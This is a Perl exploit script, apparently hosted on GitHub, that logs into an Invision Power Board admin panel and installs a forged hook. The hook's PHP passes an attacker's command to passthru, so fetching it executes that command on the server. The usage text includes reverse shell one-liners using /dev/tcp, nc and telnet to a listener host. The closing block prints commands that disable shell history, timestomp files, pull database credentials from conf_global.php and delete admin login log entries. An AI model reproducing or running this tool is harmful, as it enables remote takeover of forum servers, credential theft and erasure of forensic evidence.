-
Notifications
You must be signed in to change notification settings - Fork 8
/
envisioncollision
319 lines (266 loc) · 8.18 KB
/
envisioncollision
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
#!/usr/bin/env perl
use MIME::Base64;
use Getopt::Long;
use Getopt::Std;
use IO::Socket;
use URI::Escape;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies::Netscape;
use Digest::MD5 qw(md5_hex md5);
use strict;
$| = 1; # unbuffered output
my ($url,$ua,$host,$content,$user,$passwd,$port,$debug);
my ($enter, $u, $details, $uninstall, $page);
our($opt_p,$opt_h,$opt_c,$opt_i,$opt_U,$opt_P,$opt_t,$opt_s,$opt_d,$opt_D);
sub usage{
print "
usage: $0 -i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>
-i IP
-p # [default port = 80]
-t [determine if URL exists, commands are not sent]
-h help
-c \"Commands\"
-s [request https, default is http]
-d debug
-D directory
-U user
-P password
Examples:
Window 1: nc -vv -l -p 101
Window 2: nc -vv -l -p 102
Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\"sh</dev/tcp/10.1.1.1/101>&0 2>&0\"
Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\"sleep 500|nc 10.1.1.1 101|sh|nc 10.1.1.1 102\"
Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\"sleep 500|/usr/bin/telnet 10.1.1.1 101|sh|/usr/bin/telnet 10.1.1.1 102\"
";
exit;
}
getopts('c:i:u:p:hstU:dP:D:');
if($opt_h || !$opt_i || !$opt_D || !$opt_c && !$opt_t){
usage();
}
if($opt_d){
$debug = 1;
}
if(!$opt_s){
if(!$opt_p){
$port = 80;
}
else {
$port = $opt_p;
}
$host = "http://$opt_i:$port/$opt_D";
}
else{
if(!$opt_p){
$port = 443;
}
else {
$port = $opt_p;
}
$host = "https://$opt_i:$port/$opt_D";
}
$ua = LWP::UserAgent->new;
$ua->cookie_jar( HTTP::Cookies::Netscape->new(file => "./cookie.jar", ignore_discard => 1) ); #file does not work all the time
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
open(OUT,">>", $0 . ".out");
if($opt_t){
$url = $host . "/";
$u = get($url);
print $u;
}
if(!$opt_t){
##################################
# login with creds/get cookie
$user = "admin";
$passwd = "nothing";
if(defined($opt_U)){
$user = $opt_U;
}
if(defined($opt_P)){
$passwd = $opt_P;
}
$url = $host . "/admin/index.php?adsess=&app=core&module=login&do=login-complete";
$content = "qstring=&username=" . $user . "&password=" . $passwd;
$u = post($url,$content);
print $u;
print OUT $u;
($enter) = $u =~ m/adsess=(\S+)&'>\( Click here if you do not wish to wait/;
print "enter $enter\n";
if(length($enter) <= 0){
print "\nLogin failed. Exiting.\n";
exit;
}
$url = $host . "/admin/index.php?adsess=" . $enter . "";
$u = get($url);
print $u;
print OUT $u;
write_page($opt_c);
$url = $host . "/admin/index.php?adsess=" . $enter . "&app=core&module=applications§ion=hooks&do=install_hook";
$u = post_form_data($url);
print $u;
print OUT $u;
$url = $host . "/admin/index.php?adsess=" . $enter . "&app=core&module=applications§ion=hooks&do=hooks_overview";
$u = get($url);
print $u;
print OUT $u;
($details) = $u =~ m/\/admin\/index.php?(.*?)'>View Full Details/;
print "\ndetails $details\n";
$details =~ s/&/&/g;
print "\ndetails $details\n";
($uninstall) = $u =~ m/\/admin\/index.php?(.*?)"\);'>Uninstall Hook/;
print "\nuninstall $uninstall\n";
$uninstall =~ s/&/&/g;
$url = $host . "/admin/index.php" . $details;
$u = get($url);
print $u;
print OUT $u;
($page) = $u =~ m/(boardIndexpage_.*php)/;
print "\npage $page\n";
$url = $host . "/hooks/" . $page;
$u = get($url);
print $u;
print OUT $u;
print "\n$0 will pause for 10 seconds\n";
sleep 10;
$url = $host . "/admin/index.php" . $uninstall;
$u = get($url);
print $u;
print OUT $u;
$url = $host . "/admin/index.php?adsess=" . $enter . "&module=login&do=login-out";
$u = get($url);
print $u;
print OUT $u;
print "
unset HISTFILE HISTFILESIZE HISTSIZE
date; date -u
ls -lart
touch -r boardIndexCalendar_* .
ls -lart ..
touch -r boardIndexCalendar_* ../uploads
cat ../conf_global.php
export H=`grep sql_host ../conf_global.php|cut -d\\' -f4`
export D=`grep sql_database ../conf_global.php|cut -d\\' -f4`
export U=`grep sql_user ../conf_global.php|cut -d\\' -f4`
export P=`grep sql_pass ../conf_global.php|cut -d\\' -f4`
export T=`grep sql_tbl_prefix ../conf_global.php|cut -d\\' -f4`admin_login_logs
echo \$H
echo \$D
echo \$U
echo \$P
echo \$T
mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"select * from \$T\"|tail
mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"select * from \$T where length(admin_post_details) < 215\"
mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"delete from \$T where length(admin_post_details) < 215\"
mysql \$D --host=\$H --user=\$U --password=\"\$P\" -e \"select * from \$T where length(admin_post_details) < 215\"
";
}
##################################
sub get{
my($url) = @_;
print "\nGET URL: $url\n\n";
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return response($res,$url);
}
##################################
sub post{
my($url,$content) = @_;
print "\nPOST URL: $url\n";
print "\nContent: $content\n\n";
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($content);
my $res = $ua->request($req);
return response($res,$url);
}
##################################
sub post_form_data{
my($url) = @_;
print "\nPOST URL: $url\n";
print "\nContent: %content\n\n";
my $req = HTTP::Request->new;
#$req->content_type('multipart/form-data');
#$req->content(%content);
my $res = $ua->request(POST $url,
Content_Type => 'form-data',
Content => [
FILE_UPLOAD => ["page.xml"],
]);
return response($res,$url);
}
##################################
sub response{
my($req,$url) = @_;
#print "\nURL: $url\n\n";
print $req->status_line, "\n";
print $req->headers_as_string,"\n";
print OUT $req->content;
return($req->content);
}
sub write_page{
my($cmd) = @_;
open(FILE,">", "page.xml");
my $data ='<?xml version="1.0" encoding="utf-8"?>
<hookexport>
<hookdata>
<config>
<hook_name>page</hook_name>
<hook_desc>Shows page on board index</hook_desc>
<hook_author>Invision Power Services, Inc</hook_author>
<hook_email/>
<hook_website/>
<hook_update_check/>
<hook_requirements><![CDATA[a:4:{s:20:"hook_ipb_version_min";i:31000;s:20:"hook_ipb_version_max";i:0;s:20:"hook_php_version_min";s:0:"";s:20:"hook_php_version_max";s:0:"";}]]></hook_requirements>
<hook_version_human>1.0.0</hook_version_human>
<hook_version_long>10000</hook_version_long>
<hook_extra_data><![CDATA[a:2:{s:7:"display";N;s:8:"database";a:0:{}}]]></hook_extra_data>
<hook_key>unread</hook_key>
</config>
</hookdata>
<hookfiles>
<file>
<hook_file_real>boardIndexpage.php</hook_file_real>
<hook_type>templateHooks</hook_type>
<hook_classname>boardIndexpage</hook_classname>
<hook_data><![CDATA[a:7:{s:12:"dataLocation";s:0:"";s:15:"classToOverload";s:0:"";s:9:"skinGroup";s:11:"skin_boards";s:12:"skinFunction";s:18:"boardIndexTemplate";s:4:"type";s:7:"foreach";s:2:"id";s:11:"side_blocks";s:8:"position";s:9:"outer.pre";}]]></hook_data>
<hooks_source><![CDATA[<?php
passthru(\''. $cmd . ' &\');
class boardIndexNotifications
{
public $registry;
public function __construct()
{
/* Make registry objects */
$this->registry = ipsRegistry::instance();
$this->memberData =& $this->registry->member()->fetchMemberData();
}
public function getOutput()
{
//-----------------------------------------
// Notifications library
//-----------------------------------------
$classToLoad = IPSLib::loadLibrary( IPS_ROOT_PATH . \'/sources/classes/member/notifications.php\', \'notifications\' );
$notifyLibrary = new $classToLoad( $this->registry );
$notifyLibrary->setMember( $this->memberData );
return $notifyLibrary->getBoardIndexHook();
}
}]]></hooks_source>
</file>
</hookfiles>
<hookextras_settings/>
<hookextras_language/>
<hookextras_modules/>
<hookextras_help/>
<hookextras_templates/>
<hookextras_css/>
<hookextras_tasks/>
<hookextras_database_create/>
<hookextras_database_alter/>
<hookextras_database_update/>
<hookextras_database_insert/>
</hookexport>
';
print FILE $data;
close(FILE);
}